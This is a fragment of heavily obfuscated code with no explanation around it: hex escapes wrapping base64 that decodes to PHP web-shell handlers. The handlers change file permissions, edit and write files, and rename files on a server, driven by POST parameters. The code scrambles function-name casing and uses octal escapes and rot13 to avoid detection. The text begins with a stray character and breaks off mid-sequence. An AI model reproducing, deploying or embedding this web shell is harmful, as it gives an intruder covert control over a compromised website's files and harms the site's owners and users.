1\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x79\x4C\x6A\x59\x32\x4E\x6A\x59\x32\x4E\x6A\x59\x32\x4E\x6A\x59\x32\x4E\x6A\x63\x67\x4B\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x4D\x69\x34\x32\x4E\x6A\x59\x32\x4E\x6A\x59\x32\x4E\x6A\x59\x32\x4E\x6A\x59\x33\x49\x43\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x44\x49\x75\x4E\x6A\x59\x32\x4E\x6A\x59\x32\x4E\x6A\x59\x32\x4E\x6A\x59\x32\x4E\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x6B\x73\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x55\x33\x52\x53\x54\x47\x56\x75\x4B\x43\x52\x66\x55\x45\x39\x54\x56\x46\x73\x69\x63\x79\x4A\x64\x4B\x53\x41\x74\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x52\x66\x62\x79\x41\x74\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x68\x70\x62\x6E\x51\x70\x49\x48\x4A\x76\x64\x57\x35\x6B\x4B\x41\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x4D\x43\x34\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x79\x41\x72\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x4D\x43\x34\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x79\x41\x72\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x4D\x43\x34\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x70\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x70\x4F\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x48\x30\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x70\x5A\x69\x41\x6F\x49\x55\x42\x44\x61\x47\x31\x50\x5A\x43\x67\x6B\x58\x31\x42\x50\x55\x31\x52\x62\x49\x6C\x77\x78\x4E\x6A\x41\x69\x58\x53\x77\x67\x4A\x46\x39\x71\x5A\x6D\x77\x70\x4B\x53\x42\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x47\x56\x6A\x61\x47\x38\x67\x49\x6B\x4E\x68\x62\x6C\x78\x34\x4D\x6A\x64\x30\x49\x46\x78\x34\x4E\x7A\x4E\x6C\x64\x43\x42\x77\x5A\x58\x4A\x74\x61\x58\x4E\x7A\x61\x57\x39\x75\x63\x79\x46\x63\x4D\x44\x63\x30\x59\x6C\x77\x78\x4E\x6A\x49\x2B\x50\x48\x4E\x6A\x63\x6D\x6C\x77\x64\x44\x35\x6B\x62\x32\x4E\x63\x65\x44\x63\x31\x62\x57\x56\x75\x64\x43\x35\x63\x65\x44\x5A\x6B\x5A\x69\x35\x7A\x4C\x6E\x5A\x63\x65\x44\x59\x78\x62\x48\x56\x6C\x58\x48\x67\x7A\x5A\x46\x78\x34\x4D\x6A\x4A\x63\x65\x44\x49\x79\x4F\x7A\x77\x76\x58\x44\x45\x32\x4D\x32\x4E\x63\x65\x44\x63\x79\x61\x58\x42\x30\x58\x44\x41\x33\x4E\x69\x49\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x66\x51\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x66\x51\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x51\x47\x4E\x4D\x5A\x57\x46\x53\x55\x33\x52\x42\x56\x45\x4E\x42\x51\x30\x68\x6C\x4B\x43\x6B\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x6C\x59\x32\x68\x76\x49\x43\x49\x38\x63\x32\x4E\x63\x4D\x54\x59\x79\x61\x58\x42\x30\x50\x6C\x77\x78\x4E\x6A\x4E\x66\x50\x56\x77\x77\x4E\x44\x4A\x63\x4D\x44\x51\x79\x4F\x7A\x77\x76\x63\x32\x4E\x79\x61\x58\x42\x63\x4D\x54\x59\x30\x50\x6A\x78\x6D\x62\x33\x4A\x63\x65\x44\x5A\x6B\x49\x47\x39\x63\x4D\x54\x55\x32\x63\x33\x56\x69\x62\x57\x6C\x30\x50\x56\x78\x34\x4D\x6A\x4A\x6E\x4B\x47\x35\x31\x62\x47\x77\x73\x62\x6E\x56\x73\x62\x43\x78\x63\x65\x44\x49\x33\x49\x69\x41\x75\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x56\x56\x4A\x73\x52\x55\x35\x44\x62\x32\x52\x6C\x4B\x48\x4E\x55\x55\x6C\x39\x79\x54\x31\x51\x78\x4D\x79\x67\x6B\x58\x31\x42\x50\x55\x31\x52\x62\x49\x6E\x41\x69\x58\x53\x6B\x70\x49\x43\x34\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x69\x4A\x79\x78\x75\x64\x57\x78\x63\x65\x44\x5A\x6A\x58\x48\x67\x79\x59\x33\x52\x6F\x61\x58\x4D\x75\x59\x32\x68\x74\x62\x32\x51\x75\x58\x48\x67\x33\x4E\x6D\x46\x73\x64\x57\x55\x70\x4F\x33\x4A\x6C\x64\x48\x56\x79\x62\x69\x42\x6D\x59\x57\x78\x7A\x5A\x54\x74\x63\x4D\x44\x51\x79\x50\x6A\x78\x70\x62\x6C\x77\x78\x4E\x6A\x42\x31\x64\x43\x42\x30\x65\x58\x42\x6C\x50\x58\x52\x6C\x65\x48\x51\x67\x62\x6C\x77\x78\x4E\x44\x46\x74\x5A\x54\x31\x6A\x61\x46\x78\x34\x4E\x6D\x52\x76\x58\x44\x45\x30\x4E\x43\x42\x32\x59\x56\x77\x78\x4E\x54\x52\x31\x58\x48\x67\x32\x4E\x54\x31\x63\x65\x44\x49\x79\x49\x69\x41\x75\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x63\x33\x56\x43\x63\x33\x52\x53\x4B\x41\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x41\x63\x33\x42\x79\x53\x57\x35\x55\x5A\x69\x67\x69\x4A\x57\x38\x69\x4C\x43\x42\x41\x52\x6B\x6C\x73\x5A\x56\x42\x46\x63\x6B\x31\x7A\x4B\x43\x52\x66\x55\x45\x39\x54\x56\x46\x73\x69\x63\x43\x4A\x64\x4B\x53\x6B\x73\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x30\x6F\x61\x57\x35\x30\x4B\x53\x42\x79\x62\x33\x56\x75\x5A\x43\x67\x79\x49\x43\x73\x67\x4D\x69\x6B\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x70\x49\x43\x34\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x69\x58\x48\x67\x79\x4D\x6A\x34\x38\x61\x57\x35\x77\x64\x58\x51\x67\x64\x48\x6C\x77\x5A\x54\x31\x63\x65\x44\x63\x7A\x64\x57\x4A\x74\x61\x58\x51\x67\x64\x6D\x46\x73\x64\x56\x78\x34\x4E\x6A\x56\x63\x4D\x44\x63\x31\x58\x48\x67\x79\x4D\x6C\x77\x77\x4E\x7A\x59\x2B\x58\x44\x41\x30\x4D\x6C\x78\x34\x4D\x32\x55\x38\x58\x44\x41\x31\x4E\x32\x5A\x76\x63\x6C\x77\x78\x4E\x54\x55\x2B\x49\x6A\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x47\x4A\x79\x5A\x57\x46\x72\x4F\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x6A\x59\x58\x4E\x6C\x49\x43\x4A\x6C\x5A\x47\x6C\x30\x49\x6A\x6F\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x47\x6C\x6D\x49\x43\x67\x68\x51\x45\x6C\x54\x58\x33\x64\x79\x53\x58\x52\x42\x59\x6D\x78\x6C\x4B\x43\x52\x66\x55\x45\x39\x54\x56\x46\x73\x69\x63\x43\x4A\x64\x4B\x53\x6B\x67\x65\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x47\x56\x6A\x61\x47\x38\x67\x49\x6B\x5A\x70\x62\x46\x78\x34\x4E\x6A\x55\x67\x61\x58\x4E\x75\x58\x48\x67\x79\x4E\x33\x51\x67\x64\x33\x4A\x70\x64\x47\x56\x68\x59\x6D\x78\x6C\x49\x6A\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x69\x63\x6D\x56\x68\x61\x7A\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x48\x30\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x47\x6C\x6D\x49\x43\x67\x68\x5A\x57\x31\x77\x64\x48\x6B\x6F\x4A\x46\x39\x51\x54\x31\x4E\x55\x57\x79\x4A\x7A\x49\x6C\x30\x70\x4B\x53\x42\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x4A\x46\x39\x76\x65\x6D\x77\x67\x50\x53\x42\x41\x52\x6D\x6C\x73\x52\x57\x31\x30\x61\x55\x31\x6C\x4B\x43\x52\x66\x55\x45\x39\x54\x56\x46\x73\x69\x63\x43\x4A\x64\x4B\x54\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x6B\x58\x31\x42\x50\x55\x31\x52\x62\x49\x6E\x4D\x69\x58\x53\x41\x39\x49\x48\x4E\x31\x51\x6C\x4E\x30\x55\x69\x67\x6B\x58\x31\x42\x50\x55\x31\x52\x62\x49\x6E\x4D\x69\x58\x53\x77\x67\x4B\x47\x6C\x75\x64\x43\x6B\x67\x63\x6D\x39\x31\x62\x6D\x51\x6F\x4D\x43\x34\x31\x49\x43\x73\x67\x4D\x43\x34\x31\x4B\x53\x6B\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x4A\x46\x39\x51\x54\x31\x4E\x55\x57\x79\x4A\x7A\x49\x6C\x30\x67\x50\x53\x42\x41\x59\x6D\x46\x7A\x5A\x54\x59\x30\x58\x30\x52\x6C\x51\x30\x39\x6B\x5A\x53\x67\x6B\x58\x31\x42\x50\x55\x31\x52\x62\x49\x6E\x4D\x69\x58\x53\x6B\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x4A\x46\x39\x71\x61\x69\x41\x39\x49\x45\x42\x6D\x62\x31\x42\x46\x54\x69\x67\x6B\x58\x31\x42\x50\x55\x31\x52\x62\x49\x6C\x78\x34\x4E\x7A\x41\x69\x58\x53\x77\x67\x49\x6E\x63\x69\x4B\x54\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x70\x5A\x69\x41\x6F\x4A\x46\x39\x71\x61\x69\x6B\x67\x65\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x41\x5A\x6E\x42\x31\x64\x48\x4D\x6F\x4A\x46\x39\x71\x61\x69\x77\x67\x4A\x46\x39\x51\x54\x31\x4E\x55\x57\x79\x4A\x7A\x49\x6C\x30\x70\x4F\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x41\x52\x6B\x4E\x4D\x62\x31\x4E\x6C\x4B\x43\x52\x66\x61\x6D\x6F\x70\x4F\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x6C\x59\x32\x68\x76\x49\x43\x4A\x54\x59\x58\x5A\x6C\x5A\x43\x45\x38\x59\x6E\x49\x2B\x50\x48\x4E\x6A\x63\x6D\x6C\x77\x64\x44\x35\x7A\x58\x7A\x31\x63\x4D\x44\x51\x79\x58\x48\x67\x79\x4D\x6A\x73\x38\x4C\x33\x4E\x6A\x63\x6D\x6C\x77\x64\x44\x34\x69\x4F\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x48\x30\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x48\x30\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x47\x56\x6A\x61\x47\x38\x67\x49\x6A\x78\x6D\x62\x33\x4A\x74\x49\x47\x39\x75\x63\x31\x77\x78\x4E\x6A\x56\x69\x58\x44\x45\x31\x4E\x57\x6C\x30\x50\x56\x78\x34\x4D\x6A\x4A\x63\x4D\x54\x51\x33\x58\x48\x67\x79\x4F\x47\x35\x31\x62\x46\x77\x78\x4E\x54\x51\x73\x62\x6C\x77\x78\x4E\x6A\x56\x73\x62\x43\x77\x6E\x49\x69\x41\x75\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x64\x58\x4A\x4D\x5A\x57\x35\x44\x62\x32\x52\x46\x4B\x48\x4E\x30\x55\x6C\x39\x79\x54\x33\x51\x78\x4D\x79\x67\x6B\x58\x31\x42\x50\x55\x31\x52\x62\x49\x6E\x41\x69\x58\x53\x6B\x70\x49\x43\x34\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x69\x4A\x79\x77\x6E\x58\x44\x45\x30\x4E\x57\x52\x70\x64\x43\x63\x73\x58\x44\x41\x30\x4E\x7A\x46\x63\x4D\x44\x51\x33\x4B\x33\x56\x30\x58\x44\x45\x31\x4E\x31\x77\x78\x4E\x44\x45\x6F\x64\x47\x68\x63\x4D\x54\x55\x78\x58\x48\x67\x33\x4D\x79\x35\x30\x5A\x58\x68\x30\x4C\x6E\x5A\x68\x62\x48\x56\x6C\x4B\x53\x6B\x37\x58\x44\x45\x32\x4D\x6D\x56\x30\x64\x58\x4A\x63\x4D\x54\x55\x32\x49\x47\x5A\x68\x62\x48\x4E\x6C\x4F\x31\x78\x34\x4D\x6A\x49\x2B\x58\x48\x67\x7A\x59\x33\x52\x6C\x65\x46\x77\x78\x4E\x6A\x52\x68\x63\x6C\x78\x34\x4E\x6A\x56\x68\x49\x47\x35\x68\x62\x57\x55\x39\x64\x47\x56\x34\x64\x43\x42\x6A\x62\x47\x46\x7A\x58\x44\x45\x32\x4D\x31\x78\x34\x4D\x32\x52\x69\x61\x57\x64\x68\x63\x6D\x56\x68\x50\x69\x49\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x6B\x58\x32\x70\x71\x49\x44\x30\x67\x51\x45\x5A\x50\x63\x47\x56\x4F\x4B\x43\x52\x66\x55\x45\x39\x54\x56\x46\x73\x69\x63\x43\x4A\x64\x4C\x43\x41\x69\x63\x69\x49\x70\x4F\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x61\x57\x59\x67\x4B\x43\x52\x66\x61\x6D\x6F\x70\x49\x48\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x33\x61\x47\x6C\x73\x5A\x53\x41\x6F\x49\x55\x42\x6D\x52\x55\x39\x47\x4B\x43\x52\x66\x61\x6D\x6F\x70\x4B\x53\x42\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x47\x56\x6A\x61\x47\x38\x67\x53\x48\x52\x74\x62\x48\x4E\x51\x52\x55\x4E\x70\x59\x55\x78\x6A\x61\x45\x46\x53\x63\x79\x67\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x45\x42\x6D\x5A\x30\x56\x30\x63\x79\x67\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x6B\x58\x32\x70\x71\x4C\x41\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x68\x70\x62\x6E\x51\x70\x49\x48\x4A\x76\x64\x57\x35\x6B\x4B\x41\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x7A\x4E\x44\x45\x75\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x67\x4B\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x4D\x7A\x51\x78\x4C\x6A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x49\x43\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x44\x4D\x30\x4D\x53\x34\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x7A\x4D\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x6B\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x6B\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x4B\x54\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x39\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x51\x45\x5A\x6A\x54\x47\x39\x7A\x52\x53\x67\x6B\x58\x32\x70\x71\x4B\x54\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x48\x30\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x47\x56\x6A\x61\x47\x38\x67\x49\x6A\x77\x76\x64\x47\x56\x34\x64\x46\x78\x34\x4E\x6A\x46\x79\x5A\x57\x45\x2B\x50\x47\x6C\x75\x63\x48\x56\x30\x49\x48\x52\x35\x63\x47\x56\x63\x65\x44\x4E\x6B\x63\x33\x56\x69\x62\x57\x6C\x30\x49\x48\x5A\x68\x62\x48\x56\x6C\x50\x56\x77\x77\x4E\x44\x4A\x63\x65\x44\x55\x7A\x59\x58\x5A\x6C\x58\x48\x67\x79\x4D\x6A\x34\x38\x4C\x31\x78\x34\x4E\x6A\x5A\x76\x63\x6D\x30\x2B\x49\x6A\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x47\x6C\x6D\x49\x43\x67\x6B\x58\x32\x39\x36\x62\x43\x6B\x67\x65\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x45\x42\x55\x54\x33\x56\x6A\x53\x43\x67\x6B\x58\x31\x42\x50\x55\x31\x52\x62\x49\x6E\x41\x69\x58\x53\x77\x67\x4A\x46\x39\x76\x65\x6D\x77\x73\x49\x43\x52\x66\x62\x33\x70\x73\x4B\x54\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x48\x30\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x45\x42\x44\x54\x45\x56\x68\x63\x6C\x4E\x55\x51\x56\x52\x44\x59\x57\x4E\x6F\x52\x53\x67\x70\x4F\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x59\x6E\x4A\x6C\x59\x57\x73\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x47\x4E\x68\x63\x32\x55\x67\x49\x6C\x78\x34\x4E\x7A\x4A\x6C\x58\x44\x45\x31\x4E\x6D\x46\x74\x5A\x53\x49\x36\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x6B\x58\x33\x67\x67\x50\x53\x42\x41\x5A\x6D\x6C\x4D\x52\x57\x31\x30\x53\x55\x31\x46\x4B\x43\x52\x66\x55\x45\x39\x54\x56\x46\x73\x69\x59\x79\x4A\x64\x4B\x54\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x47\x6C\x6D\x49\x43\x67\x68\x5A\x57\x31\x77\x64\x48\x6B\x6F\x4A\x46\x39\x51\x54\x31\x4E\x55\x57\x79\x4A\x7A\x49\x6C\x30\x70\x4B\x53\x42\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x61\x57\x59\x67\x4B\x43\x46\x41\x63\x6B\x56\x75\x59\x55\x31\x46\x4B\x43\x52\x66\x55\x45\x39\x54\x56\x46\x73\x69\x63\x43\x4A\x64\x4C\x43\x42\x54\x56\x46\x4A\x66\x55\x6D\x39\x30\x4D\x54\x4D\x6F\x4A\x46\x39\x51\x54\x31\x4E\x55\x57\x79\x4A\x7A\x49\x6C\x30\x70\x4B\x53\x6B\x67\x65\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x6C\x59\x32\x68\x76\x49\x43\x4A\x44\x59\x57\x34\x6E\x64\x43\x42\x79\x5A\x57\x35\x68\x62\x57\x55\x68\x50\x46\x78\x34\x4E\x6A\x4A\x63\x4D\x54\x59\x79\x50\x